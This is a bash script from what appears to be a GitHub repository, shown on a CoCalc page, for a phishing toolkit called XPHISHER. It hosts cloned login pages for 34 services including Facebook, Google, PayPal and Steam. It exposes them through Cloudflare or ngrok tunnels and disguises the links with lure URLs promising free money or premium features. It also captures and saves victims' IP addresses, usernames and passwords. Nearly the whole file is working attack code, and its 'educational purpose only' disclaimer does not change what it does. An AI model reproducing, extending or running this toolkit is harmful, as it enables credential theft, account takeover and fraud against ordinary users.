Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hackerxphantom
GitHub Repository: hackerxphantom/XPHISHER
Path: blob/master/xphisher.sh
7 views
1
#!/bin/bash
2
3
## ANSI colors (FG & BG)
4
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
5
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
6
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
7
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
8
RESETBG="$(printf '\e[0m\n')"
9
10
## Directories
11
if [[ ! -d ".server" ]]; then
12
mkdir -p ".server"
13
fi
14
if [[ -d ".server/www" ]]; then
15
rm -rf ".server/www"
16
mkdir -p ".server/www"
17
else
18
mkdir -p ".server/www"
19
fi
20
if [[ -e ".cld.log" ]]; then
21
rm -rf ".cld.log"
22
fi
23
24
## Script termination
25
exit_on_signal_SIGINT() {
26
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
27
exit 0
28
}
29
30
exit_on_signal_SIGTERM() {
31
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
32
exit 0
33
}
34
35
trap exit_on_signal_SIGINT SIGINT
36
trap exit_on_signal_SIGTERM SIGTERM
37
38
## Reset terminal colors
39
reset_color() {
40
tput sgr0 # reset attributes
41
tput op # reset color
42
return
43
}
44
45
## Kill already running process
46
kill_pid() {
47
if [[ `pidof php` ]]; then
48
killall php > /dev/null 2>&1
49
fi
50
if [[ `pidof ngrok` ]]; then
51
killall ngrok > /dev/null 2>&1
52
fi
53
if [[ `pidof cloudflared` ]]; then
54
killall cloudflared > /dev/null 2>&1
55
fi
56
}
57
58
## Banner
59
banner() {
60
cat <<- EOF
61
${BLUE}┏━┓┏━┳━━━┳┓╋╋╋╋╋┏┓
62
${BLUE}┗┓┗┛┏┫┏━┓┃┃╋╋╋╋╋┃┃
63
${BLUE}╋┗┓┏┛┃┗━┛┃┗━┳┳━━┫┗━┳━━┳━┓
64
${BLUE}╋┏┛┗┓┃┏━━┫┏┓┣┫━━┫┏┓┃┃━┫┏┛
65
${BLUE}┏┛┏┓┗┫┃╋╋┃┃┃┃┣━━┃┃┃┃┃━┫┃
66
${BLUE}┗━┛┗━┻┛╋╋┗┛┗┻┻━━┻┛┗┻━━┻┛
67
${RED} X PH4N70M (X PHANTOM)
68
69
${CYAN}Version : 2.2
70
71
${GREEN}[${WHITE}-${GREEN}]${CYAN} Tool Created by X PHANTOM (X PH4N70M)${WHITE}
72
EOF
73
}
74
75
## Small Banner
76
banner_small() {
77
cat <<- EOF
78
${BLUE} ▀▄▀   █▀█ █░█ ▄▀█ █▄░█ ▀█▀ █▀█ █▀▄▀█
79
${BLUE} █░█   █▀▀ █▀█ █▀█ █░▀█ ░█░ █▄█ █░▀░█
80
${RED} X PHANTOM [PH4N70M]
81
EOF
82
}
83
84
## Dependencies
85
dependencies() {
86
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
87
88
if [[ -d "/data/data/com.termux/files/home" ]]; then
89
if [[ `command -v proot` ]]; then
90
printf ''
91
else
92
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}
93
pkg install proot resolv-conf -y
94
fi
95
96
if [[ `command -v tput` ]]; then
97
printf ''
98
else
99
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}ncurses-utils${CYAN}"${WHITE}
100
pkg install ncurses-utils -y
101
fi
102
103
fi
104
105
if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then
106
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."
107
else
108
pkgs=(php curl wget unzip)
109
for pkg in "${pkgs[@]}"; do
110
type -p "$pkg" &>/dev/null || {
111
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE}
112
if [[ `command -v pkg` ]]; then
113
pkg install "$pkg" -y
114
elif [[ `command -v apt` ]]; then
115
apt install "$pkg" -y
116
elif [[ `command -v apt-get` ]]; then
117
apt-get install "$pkg" -y
118
elif [[ `command -v pacman` ]]; then
119
sudo pacman -S "$pkg" --noconfirm
120
elif [[ `command -v dnf` ]]; then
121
sudo dnf -y install "$pkg"
122
else
123
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."
124
{ reset_color; exit 1; }
125
fi
126
}
127
done
128
fi
129
130
}
131
132
## Download Cloudflared
133
download_cloudflared() {
134
url="$1"
135
file=`basename $url`
136
if [[ -e "$file" ]]; then
137
rm -rf "$file"
138
fi
139
wget --no-check-certificate "$url" > /dev/null 2>&1
140
if [[ -e "$file" ]]; then
141
mv -f "$file" .server/cloudflared > /dev/null 2>&1
142
chmod +x .server/cloudflared > /dev/null 2>&1
143
else
144
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Cloudflared manually."
145
{ reset_color; exit 1; }
146
fi
147
148
}
149
150
## Install Cloudflared
151
install_cloudflared() {
152
if [[ -e ".server/cloudflared" ]]; then
153
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed."
154
else
155
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing Cloudflared..."${WHITE}
156
arch=`uname -m`
157
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
158
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm'
159
elif [[ "$arch" == *'aarch64'* ]]; then
160
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64'
161
elif [[ "$arch" == *'x86_64'* ]]; then
162
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64'
163
else
164
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386'
165
fi
166
fi
167
168
}
169
170
## Exit message
171
msg_exit() {
172
{ clear; banner; echo; }
173
echo -e "${GREENBG}${BLACK} Thank you for using this tool. Have a good day.${RESETBG}\n"
174
{ reset_color; exit 0; }
175
}
176
177
## About
178
about() {
179
{ clear; banner; echo; }
180
cat <<- EOF
181
${GREEN}Author ${RED}: ${ORANGE}X PHANTOM ${RED}[ ${ORANGE}X PH4N70M ${RED}]
182
${GREEN}Github ${RED}: ${CYAN}https://github.com/hackerxphantom
183
${GREEN}Join us ${RED}: ${CYAN}https://bit.ly/3PV3S3r
184
${GREEN}Version ${RED}: ${ORANGE}2.2
185
186
${REDBG}${WHITE} Thanks : X PHANTOM,X PH4N70M ${RESETBG}
187
188
${RED}Warning:${WHITE}
189
${CYAN}This Tool is made for educational purpose only ${RED}!${WHITE}
190
${CYAN}Author will not be responsible for any misuse of this toolkit ${RED}!${WHITE}
191
192
${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit
193
194
EOF
195
196
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
197
198
case $REPLY in
199
99)
200
msg_exit;;
201
0 | 00)
202
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..."
203
{ sleep 1; main_menu; };;
204
*)
205
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
206
{ sleep 1; about; };;
207
esac
208
}
209
210
## Setup website and start php server
211
HOST='127.0.0.1'
212
PORT='8080'
213
214
setup_site() {
215
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
216
cp -rf .sites/"$website"/* .server/www
217
cp -f .sites/ip.php .server/www/
218
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
219
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
220
}
221
222
## Get IP address
223
capture_ip() {
224
IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')
225
IFS=$'\n'
226
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"
227
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}ip.txt"
228
cat .server/www/ip.txt >> ip.txt
229
}
230
231
## Get credentials
232
capture_creds() {
233
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')
234
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')
235
IFS=$'\n'
236
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"
237
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"
238
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}usernames.dat"
239
cat .server/www/usernames.txt >> usernames.dat
240
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
241
}
242
243
## Print data
244
capture_data() {
245
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit..."
246
while true; do
247
if [[ -e ".server/www/ip.txt" ]]; then
248
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !"
249
capture_ip
250
rm -rf .server/www/ip.txt
251
fi
252
sleep 0.75
253
if [[ -e ".server/www/usernames.txt" ]]; then
254
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Login info Found !!"
255
capture_creds
256
rm -rf .server/www/usernames.txt
257
fi
258
sleep 0.75
259
done
260
}
261
262
## Start ngrok
263
start_ngrok() {
264
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
265
{ sleep 1; setup_site; }
266
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
267
268
if [[ `command -v termux-chroot` ]]; then
269
sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
270
else
271
sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
272
fi
273
274
{ sleep 8; clear; banner_small; }
275
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
276
ngrok_url1=${ngrok_url#https://}
277
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
278
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1"
279
capture_data
280
}
281
282
283
## DON'T COPY PASTE WITHOUT CREDIT DUDE :')
284
285
## Start Cloudflared
286
start_cloudflared() {
287
rm .cld.log > /dev/null 2>&1 &
288
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
289
{ sleep 1; setup_site; }
290
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."
291
292
if [[ `command -v termux-chroot` ]]; then
293
sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .cld.log > /dev/null 2>&1 &
294
else
295
sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .cld.log > /dev/null 2>&1 &
296
fi
297
298
{ sleep 8; clear; banner_small; }
299
300
cldflr_link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cld.log")
301
cldflr_link1=${cldflr_link#https://}
302
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link"
303
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1"
304
capture_data
305
}
306
307
## Start localhost
308
start_localhost() {
309
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
310
setup_site
311
{ sleep 1; clear; banner_small; }
312
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"
313
capture_data
314
}
315
316
## Tunnel selection
317
tunnel_menu() {
318
{ clear; banner_small; }
319
cat <<- EOF
320
321
${RED}[${WHITE}01${RED}]${CYAN} Localhost ${RED}[${ORANGE}For Devs${RED}]
322
${RED}[${WHITE}02${RED}]${CYAN} Cloudflared ${RED}[${ORANGE}NEW!${RED}]
323
324
EOF
325
326
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select a port forwarding service : ${GREEN}"
327
328
case $REPLY in
329
1 | 01)
330
start_localhost;;
331
332
2 | 02)
333
start_cloudflared;;
334
*)
335
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
336
{ sleep 1; tunnel_menu; };;
337
esac
338
}
339
340
## Facebook
341
site_facebook() {
342
cat <<- EOF
343
344
${RED}(${WHITE}01${RED})${CYAN} Traditional Login Page
345
${RED}(${WHITE}02${RED})${CYAN} Advanced Voting Poll Login Page
346
${RED}(${WHITE}03${RED})${CYAN} Fake Security Login Page
347
${RED}(${WHITE}04${RED})${CYAN} Facebook Messenger Login Page
348
349
EOF
350
351
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select an option : ${GREEN}"
352
353
case $REPLY in
354
1 | 01)
355
website="facebook"
356
mask='http://blue-verified-badge-for-facebook-free'
357
tunnel_menu;;
358
2 | 02)
359
website="fb_advanced"
360
mask='http://vote-for-the-best-social-media'
361
tunnel_menu;;
362
3 | 03)
363
website="fb_security"
364
mask='http://make-your-facebook-secured-and-free-from-hackers'
365
tunnel_menu;;
366
4 | 04)
367
website="fb_messenger"
368
mask='http://get-messenger-premium-features-free'
369
tunnel_menu;;
370
*)
371
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
372
{ sleep 1; clear; banner_small; site_facebook; };;
373
esac
374
}
375
376
## Instagram
377
site_instagram() {
378
cat <<- EOF
379
380
${RED}[${WHITE}01${RED}]${CYAN} 1000 Followers Login Page
381
${RED}[${WHITE}02${RED}]${CYAN} Blue Badge Verify Login Page
382
383
EOF
384
385
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select an option : ${GREEN}"
386
387
case $REPLY in
388
1 | 01)
389
website="insta_followers"
390
mask='http://get-1000-followers-for-instagram'
391
tunnel_menu;;
392
2 | 02)
393
website="ig_verify"
394
mask='http://blue-badge-verify-for-instagram-free'
395
tunnel_menu;;
396
*)
397
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
398
{ sleep 1; clear; banner_small; site_instagram; };;
399
esac
400
}
401
402
## Gmail/Google
403
site_gmail() {
404
cat <<- EOF
405
406
${RED}[${WHITE}01${RED}]${CYAN} Gmail Old Login Page
407
${RED}[${WHITE}02${RED}]${CYAN} Gmail New Login Page
408
${RED}[${WHITE}03${RED}]${CYAN} Advanced Voting Poll
409
410
EOF
411
412
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select an option : ${GREEN}"
413
414
case $REPLY in
415
1 | 01)
416
website="google"
417
mask='http://get-unlimited-google-drive-free'
418
tunnel_menu;;
419
2 | 02)
420
website="google_new"
421
mask='http://get-unlimited-google-drive-free'
422
tunnel_menu;;
423
3 | 03)
424
website="google_poll"
425
mask='http://vote-for-the-best-social-media'
426
tunnel_menu;;
427
*)
428
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
429
{ sleep 1; clear; banner_small; site_gmail; };;
430
esac
431
}
432
433
## Vk
434
site_vk() {
435
cat <<- EOF
436
437
${RED}[${WHITE}01${RED}]${CYAN} Traditional Login Page
438
${RED}[${WHITE}02${RED}]${CYAN} Advanced Voting Poll Login Page
439
440
EOF
441
442
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select an option : ${GREEN}"
443
444
case $REPLY in
445
1 | 01)
446
website="vk"
447
mask='http://vk-premium-real-method-2020'
448
tunnel_menu;;
449
2 | 02)
450
website="vk_poll"
451
mask='http://vote-for-the-best-social-media'
452
tunnel_menu;;
453
*)
454
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
455
{ sleep 1; clear; banner_small; site_vk; };;
456
esac
457
}
458
459
460
## Menu
461
main_menu() {
462
{ clear; banner; echo; }
463
cat <<- EOF
464
${RED}[${WHITE}::${RED}]${CYAN} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${CYAN}
465
466
${RED}[${WHITE}01${RED}]${CYAN} Facebook ${RED}[${WHITE}11${RED}]${CYAN} Twitch ${RED}[${WHITE}21${RED}]${CYAN} DeviantArt
467
${RED}[${WHITE}02${RED}]${CYAN} Instagram ${RED}[${WHITE}12${RED}]${CYAN} Pinterest ${RED}[${WHITE}22${RED}]${CYAN} Badoo
468
${RED}[${WHITE}03${RED}]${CYAN} Google ${RED}[${WHITE}13${RED}]${CYAN} Snapchat ${RED}[${WHITE}23${RED}]${CYAN} Origin
469
${RED}[${WHITE}04${RED}]${CYAN} Microsoft ${RED}[${WHITE}14${RED}]${CYAN} Linkedin ${RED}[${WHITE}24${RED}]${CYAN} DropBox
470
${RED}[${WHITE}05${RED}]${CYAN} Netflix ${RED}[${WHITE}15${RED}]${CYAN} Ebay ${RED}[${WHITE}25${RED}]${CYAN} Yahoo
471
${RED}[${WHITE}06${RED}]${CYAN} Paypal ${RED}[${WHITE}16${RED}]${CYAN} Quora ${RED}[${WHITE}26${RED}]${CYAN} Wordpress
472
${RED}[${WHITE}07${RED}]${CYAN} Steam ${RED}[${WHITE}17${RED}]${CYAN} Protonmail ${RED}[${WHITE}27${RED}]${CYAN} Yandex
473
${RED}[${WHITE}08${RED}]${CYAN} Twitter ${RED}[${WHITE}18${RED}]${CYAN} Spotify ${RED}[${WHITE}28${RED}]${CYAN} StackoverFlow
474
${RED}[${WHITE}09${RED}]${CYAN} Playstation ${RED}[${WHITE}19${RED}]${CYAN} Reddit ${RED}[${WHITE}29${RED}]${CYAN} Vk
475
${RED}[${WHITE}10${RED}]${CYAN} Tiktok ${RED}[${WHITE}20${RED}]${CYAN} Adobe ${RED}[${WHITE}30${RED}]${CYAN} XBOX
476
${RED}[${WHITE}31${RED}]${CYAN} Mediafire ${RED}[${WHITE}32${RED}]${CYAN} Gitlab ${RED}[${WHITE}33${RED}]${CYAN} Github
477
${RED}[${WHITE}34${RED}]${CYAN} Discord
478
479
${RED}[${WHITE}99${RED}]${CYAN} About ${RED}[${WHITE}00${RED}]${CYAN} Exit
480
481
EOF
482
483
read -p "${RED}[${WHITE}-${RED}]${BLUE} Select an option : ${GREEN}"
484
485
case $REPLY in
486
1 | 01)
487
site_facebook;;
488
2 | 02)
489
site_instagram;;
490
3 | 03)
491
site_gmail;;
492
4 | 04)
493
website="microsoft"
494
mask='http://unlimited-onedrive-space-for-free'
495
tunnel_menu;;
496
5 | 05)
497
website="netflix"
498
mask='http://upgrade-your-netflix-plan-free'
499
tunnel_menu;;
500
6 | 06)
501
website="paypal"
502
mask='http://get-500-usd-free-to-your-acount'
503
tunnel_menu;;
504
7 | 07)
505
website="steam"
506
mask='http://steam-500-usd-gift-card-free'
507
tunnel_menu;;
508
8 | 08)
509
website="twitter"
510
mask='http://get-blue-badge-on-twitter-free'
511
tunnel_menu;;
512
9 | 09)
513
website="playstation"
514
mask='http://playstation-500-usd-gift-card-free'
515
tunnel_menu;;
516
10)
517
website="tiktok"
518
mask='http://tiktok-free-liker'
519
tunnel_menu;;
520
11)
521
website="twitch"
522
mask='http://unlimited-twitch-tv-user-for-free'
523
tunnel_menu;;
524
12)
525
website="pinterest"
526
mask='http://get-a-premium-plan-for-pinterest-free'
527
tunnel_menu;;
528
13)
529
website="snapchat"
530
mask='http://view-locked-snapchat-accounts-secretly'
531
tunnel_menu;;
532
14)
533
website="linkedin"
534
mask='http://get-a-premium-plan-for-linkedin-free'
535
tunnel_menu;;
536
15)
537
website="ebay"
538
mask='http://get-500-usd-free-to-your-acount'
539
tunnel_menu;;
540
16)
541
website="quora"
542
mask='http://quora-premium-for-free'
543
tunnel_menu;;
544
17)
545
website="protonmail"
546
mask='http://protonmail-pro-basics-for-free'
547
tunnel_menu;;
548
18)
549
website="spotify"
550
mask='http://convert-your-account-to-spotify-premium'
551
tunnel_menu;;
552
19)
553
website="reddit"
554
mask='http://reddit-official-verified-member-badge'
555
tunnel_menu;;
556
20)
557
website="adobe"
558
mask='http://get-adobe-lifetime-pro-membership-free'
559
tunnel_menu;;
560
21)
561
website="deviantart"
562
mask='http://get-500-usd-free-to-your-acount'
563
tunnel_menu;;
564
22)
565
website="badoo"
566
mask='http://get-500-usd-free-to-your-acount'
567
tunnel_menu;;
568
23)
569
website="origin"
570
mask='http://get-500-usd-free-to-your-acount'
571
tunnel_menu;;
572
24)
573
website="dropbox"
574
mask='http://get-1TB-cloud-storage-free'
575
tunnel_menu;;
576
25)
577
website="yahoo"
578
mask='http://grab-mail-from-anyother-yahoo-account-free'
579
tunnel_menu;;
580
26)
581
website="wordpress"
582
mask='http://unlimited-wordpress-traffic-free'
583
tunnel_menu;;
584
27)
585
website="yandex"
586
mask='http://grab-mail-from-anyother-yandex-account-free'
587
tunnel_menu;;
588
28)
589
website="stackoverflow"
590
mask='http://get-stackoverflow-lifetime-pro-membership-free'
591
tunnel_menu;;
592
29)
593
site_vk;;
594
30)
595
website="xbox"
596
mask='http://get-500-usd-free-to-your-acount'
597
tunnel_menu;;
598
31)
599
website="mediafire"
600
mask='http://get-1TB-on-mediafire-free'
601
tunnel_menu;;
602
32)
603
website="gitlab"
604
mask='http://get-1k-followers-on-gitlab-free'
605
tunnel_menu;;
606
33)
607
website="github"
608
mask='http://get-1k-followers-on-github-free'
609
tunnel_menu;;
610
34)
611
website="discord"
612
mask='http://get-discord-nitro-free'
613
tunnel_menu;;
614
615
99)
616
about;;
617
0 | 00 )
618
msg_exit;;
619
*)
620
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
621
{ sleep 1; main_menu; };;
622
623
esac
624
}
625
626
## Main
627
kill_pid
628
dependencies
629
install_cloudflared
630
main_menu
631
632